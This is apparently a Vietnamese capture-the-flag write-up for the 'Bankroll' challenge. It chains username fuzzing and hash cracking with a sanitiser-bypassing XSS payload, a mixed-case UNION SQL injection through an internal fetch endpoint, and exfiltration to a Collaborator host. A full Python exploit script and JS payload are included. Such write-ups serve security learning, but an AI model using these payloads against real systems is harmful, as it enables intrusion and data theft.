# Bankroll
## 1. Tổng quan
- Một webapp với giao diện / chủ đề ngân hàng
- Có 2 chức năng đăng nhập và quên mật khẩu, không có chức năng đăng ký
- Giao diện đăng nhập

- Reset password

## 2. Phân tích challenge
- Challenge gồm 3 docker container
- `main-app` host web server, được expose ra ngoài

- `internal-app` host một web server khác, internal, có thể truy cập được bằng hostname localhost từ container `main-app`

- `svc-admin-bot` đọc vai admin, định kỳ mở headless browser vào web của `main-app`, đăng nhập với credential người dùng admin

### `main-app`
- Ngoài 2 chức năng đăng nhập, reset mật khẩu thì toàn bộ các chức năng, endpoint còn lại chỉ có thể sử dụng khi đã đăng nhập
- Chức năng reset password, nhận vào một username và tìm kiếm nó trong database, không thấy thì trả về response 404, nếu thấy thì trả về một json chứa hashed password của người dùng khi người dùng không phải admin

- Với source code được cung cấp, gồm 2 người dùng là `erin` và `svc_admin`, tuy nhiên lưu ý của challenge là khi khai thác để lấy flag, credential của các người dùng này đểu thay đổi
[names.txt](https://github.com/danielmiessler/SecLists/blob/master/Usernames/Names/names.txt)

- Phản hồi của chức năng reset password
- Không tìm thấy người dùng

- Tìm thấy người dùng không phải admin, phản hồi chứa hash của password của người dùng đó

- Tìm thấy người dùng admin

- Endpoint `/dashboard` truy vấn db, lấy các note từ cơ sở dữ liệu và render template, note content được đánh dấu là an toàn và không được escape -> có thể gây XSS


- Endpoint `/notes` nhận các note từ người dùng, kiểm tra độ dài không quá 250 ký tự, làm sạch và insert và db

- Logic làm sạch là xóa bỏ một số mẫu hình "nguy hiểm" trong nội dung, bao gồm một số sự kiện (như `onerror`, `onload`, etc) với mục tiêu tránh XSS. Đánh giá cho logic này là có thể bypass được khi còn nhiều sự kiện không nằm trong danh sách bị xóa.

- Bên cạnh đó còn một số endpoint phục vụ bot, để kiểm tra xem có note nào trong db không (note không phải của admin), hay để xóa các note không phải của admin khỏi db
- Endpoint `/devtools/fetch` chỉ phục vụ cho admin, nhận vào một url (param `url`), kiểm tra url đó (chặn dải ip nội bộ, cho phép loopback `127.0.0.1`, chỉ chấp nhận port `8080`), nếu hợp lệ mới request tới

- Từ endpoint này có thể truy cập tới web server của `internal-app`, không cần bypass gì cả, endpoint này được tạo ra để làm thế
### `svc-admin-bot`
- Định kỳ (mỗi 10s), sẽ fetch tới endpoint `/internal/pending-check` của `main-app` để kiểm tra xem trong db có note mới nào không, nếu có sẽ mở headless browser, vào web của `main-app`, đăng nhập với credential của user admin, vào `/dashboard`, sau đó sẽ truy cập endpoint để xóa các note mới này.

### `internal-app`
- Host một web server
- Trong db chứa flag

- Endpoint `/search` nhận vào param `q`, gía trị của param này sẽ được check bởi hàm `waf_check()`, nếu hợp lệ thì được nối vào truy vấn và query vào db, trả về trang html chứa các kết quả từ truy vấn

- Có thể bypass được hàm `waf_check()` dễ dàng, nó chỉ kiểm tra, không cho `q` chứa các từ trong list như `union` không được hoàn toàn viết thường hoặc hoàn toàn viết hoa, không được chứa `--`. Chỉ cần case lộn xộn như `uNion`, `Select` là pass được hàm này

## 3. Khai thác
- Tới đây, ta có thể hình dùng được các bước để exploit
- Đầu tiền cần fuzzing username của `main-app` bằng endpoint `/forgot-password`, quan sát phản hồi trả về có status 200, trong phản hồi chứa hash của password, crack password này
- Dùng credential này đăng nhập, đăng các note chứa payload XSS, bypass hàm làm sạch
- Khi bot vào dashboard, code JS được kích hoạt
- Nội dung của code JS là GET tới endpoint `/devtools/fetch` với `url` là `http://127.0.0.1:8080/search?q={SQLi_payload}`, gửi phản hồi từ request này cho Collaborator
### Fuzzing username và crack password
- Dùng Burp Intruder với wordlist từ SecLists [names.txt](https://github.com/danielmiessler/SecLists/blob/master/Usernames/Names/names.txt)
- Dò được người dùng có username là `zack` với hash của password là `02d48447b8518150ec55ff678bc19372bedab79658e12bcbeb8023a400008df5`

- Dùng [CrackStation](https://crackstation.net/) và thu được password cho hash này là `ryLis@1024`

### Đăng nhập và ghi các note chứa payload XSS
- Đăng nhập với credential đã thu được phía trên là có thể đăng note

- Đầu tiên, cần một payload XSS vượt qua được hàm santinize, có rất nhiều sự kiện không nằm trong danh sách bị xóa, từ XSS cheatsheet của PortSwigger, có được một payload là
```
<style>@keyframes s{}</style><xss style='animation:s 1s 2' onanimationiteration=""></xss>
```
- Đăng note tới `/notes` với nội dung như trên, thì codeJs của `onanimationiteration` sẽ được thực thi khi bot vào `/dashboard`
- Tiếp theo là code JS cần để tiếp cận `/devtools/fetch` từ đó tới `/search` của `internal-app`, một payload vượt qua được `waf_check()` và lấy flag là `q=' uNion Select 1, null, secret, null fRom secrets whEre '1'='1`
- Từ đó xây dựng được một payload JS như sau, mục đích là POST tới `/devtools/fetch` một url `http://127.0.0.1:8080/search?q=' uNion Select 1, null, secret, null fRom secrets whEre '1'='1`. Khi web server của `main-app` nhận url này, sẽ GET tới `/search` của `internal-app`, UNION-based SQLi diễn ra, và trong response sẽ chứa flag, `/devtools/fetch` nhận phản hồi sẽ nhét toàn bộ vào json trả về. Code JS trên browser sẽ nhận response chứa flag, và gửi toàn bộ cho web server mình điều khiển
```
fetch("/devtools/fetch",{method: "POST",headers: {"Content-Type": "application/json"}, body: JSON.stringify({ "url": "http://127.0.0.1:8080/search?q=%27%20uNion%20Select%201%2C%20null%2C%20secret%2C%20null%20fRom%20secrets%20whEre%20%271%27%3D%271" })}).then(response => response.text()).then(data => { fetch("{{COLLABORATOR}}/log?result=" + encodeURIComponent(data))})
```
- Để thuận lợi cho việc truyền tải, ta sẽ base64 encode toàn bộ code JS này, và nhét vào `eval(atob())` rồi mới đưa vào sự kiện `onanimationiteration`

- Tuy nhiên khi này, toàn bộ note sẽ đạt tới độ dài khoảng 700 ký tự, vượt quá 250 ký tự, web server từ chối. Để giải quyết việc này, ta có thể chia đoạn base64 của code JS (vốn dài khoảng 500 ký tự) thành khoảng 3 phần, post 3 note, mỗi note là một thẻ `<div>` với một id, chứa nội dung là một phần của payload.
- Cuối cùng post một note thứ tư chứa, payload trigger XSS `<style>...` trên, giá trị của `onanimationiteration` sẽ là `eval(atob(document.getElementById('p0').innerText+document.getElementById('p1').innerText+document.getElementById('p2').innerText))`, các mảnh phía trên được ghép lại để ra được payload hoàn chỉnh.
#### Script thực hiện đăng nhập và post các note
```python
import requests
import base64
# --- Cấu hình Global ---
BASE_URL = "http://23.179.17.92:5000"
USERNAME = "zack"
PASSWORD = "ryLis@1024"
PROXIES = {
"http": "http://localhost:8080",
"https": "http://localhost:8080"
}
# Chuỗi Base64 cần thực thi (Đã được cung cấp)
COLLABORATOR_URL = "http://xstnzkkqarl7dovulz4fg71kdbj27svh.oastify.com"
JS_PAYLOAD = f'fetch("/devtools/fetch",{{method: "POST",headers: {{"Content-Type": "application/json"}}, body: JSON.stringify({{ "url": "http://127.0.0.1:8080/search?q=%27%20uNion%20Select%201%2C%20null%2C%20secret%2C%20null%20fRom%20secrets%20whEre%20%271%27%3D%271" }})}}).then(response => response.text()).then(data => {{ fetch("{COLLABORATOR_URL}/log?result=" + encodeURIComponent(data))}})'
FULL_B64 = base64.b64encode(JS_PAYLOAD.encode()).decode()
def exploit():
session = requests.Session()
# 1. Đăng nhập
login_data = {"username": USERNAME, "password": PASSWORD}
r_login = session.post(f"{BASE_URL}/login", json=login_data, proxies=PROXIES)
if r_login.status_code == 200:
print("[+] Login successfully !")
else:
print(f"[!] Fail. Status: {r_login.status_code}")
return
# 2. Chia nhỏ chuỗi Base64 thành 3 phần
# Độ dài chuỗi khoảng 560 ký tự, chia 3 mỗi phần ~187 ký tự (thỏa mãn < 250)
print(f"Length of Base64 payload: {len(FULL_B64)} characters")
part_size = len(FULL_B64) // 3 + 1
parts = [FULL_B64[i:i+part_size] for i in range(0, len(FULL_B64), part_size)]
for i, chunk in enumerate(parts):
note_content = f'<div id="p{i}">{chunk}</div>'
res = session.post(f"{BASE_URL}/notes", json={"content": note_content})
if res.status_code == 200 or res.status_code == 201:
print(f"[+] Created part {i}")
# 3. Tạo note kích hoạt XSS (Payload rút gọn để lách luật 250 ký tự)
# Logic: Lấy text từ id p0, p1, p2 nối lại rồi giải mã thực thi
xss_payload = (
"<style>@keyframes s{}</style><xss style='animation:s 1s 2' "
"onanimationiteration=\"eval(atob(document.getElementById('p0').innerText+"
"document.getElementById('p1').innerText+document.getElementById('p2').innerText))\">"
"</xss>"
)
print(f"[*] Size of payload XSS: {len(xss_payload)} characters")
final_res = session.post(f"{BASE_URL}/notes", json={"content": xss_payload}, proxies=PROXIES)
if final_res.status_code == 200 or final_res.status_code == 201:
print("[+] Payload is sent successfully! Check your Collaborator for the exfiltrated data.")
else:
print(f"[!] Error: {final_res.text}")
if __name__ == "__main__":
exploit()
```
#### Request tới Collaborator

#### Flag
:::success
FLAG : `CIT{R3v3al_Th3_B@nkR0ll}`
:::
#### Sequence diagram
```mermaid
sequenceDiagram
autonumber
actor Attacker
participant PublicServer as Public Server
participant InternalServer as Internal Server
actor Bot as Bot (Browser)
participant Collaborator as Attacker Collaborator
%% GIAI ĐOẠN 1
Note over Attacker, PublicServer: [Giai đoạn 1] Chuẩn bị Payload
Attacker->>+PublicServer: POST /login (Credentials)
PublicServer-->>-Attacker: 200 OK (Session)
Note over Attacker, PublicServer: Chia nhỏ Payload Base64 thành 3 phần
Attacker->>+PublicServer: POST /notes (Mảnh payload p0)
PublicServer-->>-Attacker: 200 OK
Attacker->>+PublicServer: POST /notes (Mảnh payload p1)
PublicServer-->>-Attacker: 200 OK
Attacker->>+PublicServer: POST /notes (Mảnh payload p2)
PublicServer-->>-Attacker: 200 OK
%% GIAI ĐOẠN 2
rect rgb(255, 245, 238)
Note over Attacker, PublicServer: [Giai đoạn 2] Kích hoạt XSS
Attacker->>+PublicServer: POST /notes (Payload nối mảnh & eval)
PublicServer-->>-Attacker: 201 Created
end
%% GIAI ĐOẠN 3
Note over Bot, Collaborator: [Giai đoạn 3] Thực thi khai thác (Exploitation)
Bot->>+PublicServer: Bot login & Xem notes
PublicServer-->>-Bot: Trả về HTML chứa mã độc
Note right of Bot: XSS thực thi: eval(atob(p0+p1+p2))
Bot->>+PublicServer: fetch("/devtools/fetch", {url: Internal SQLi})
Note right of PublicServer: Public Server đóng vai trò Proxy
PublicServer->>+InternalServer: GET /search?q=' uNion Select...
InternalServer-->>-PublicServer: Response chứa flag
PublicServer-->>-Bot: Trả dữ liệu về browser cho fetch(), trong response chứa flag
Note right of Bot: Gửi dữ liệu ra server bên ngoài
Bot->>+Collaborator: GET /log?result=(Secret Data)
Collaborator-->>-Bot: 200 OK
```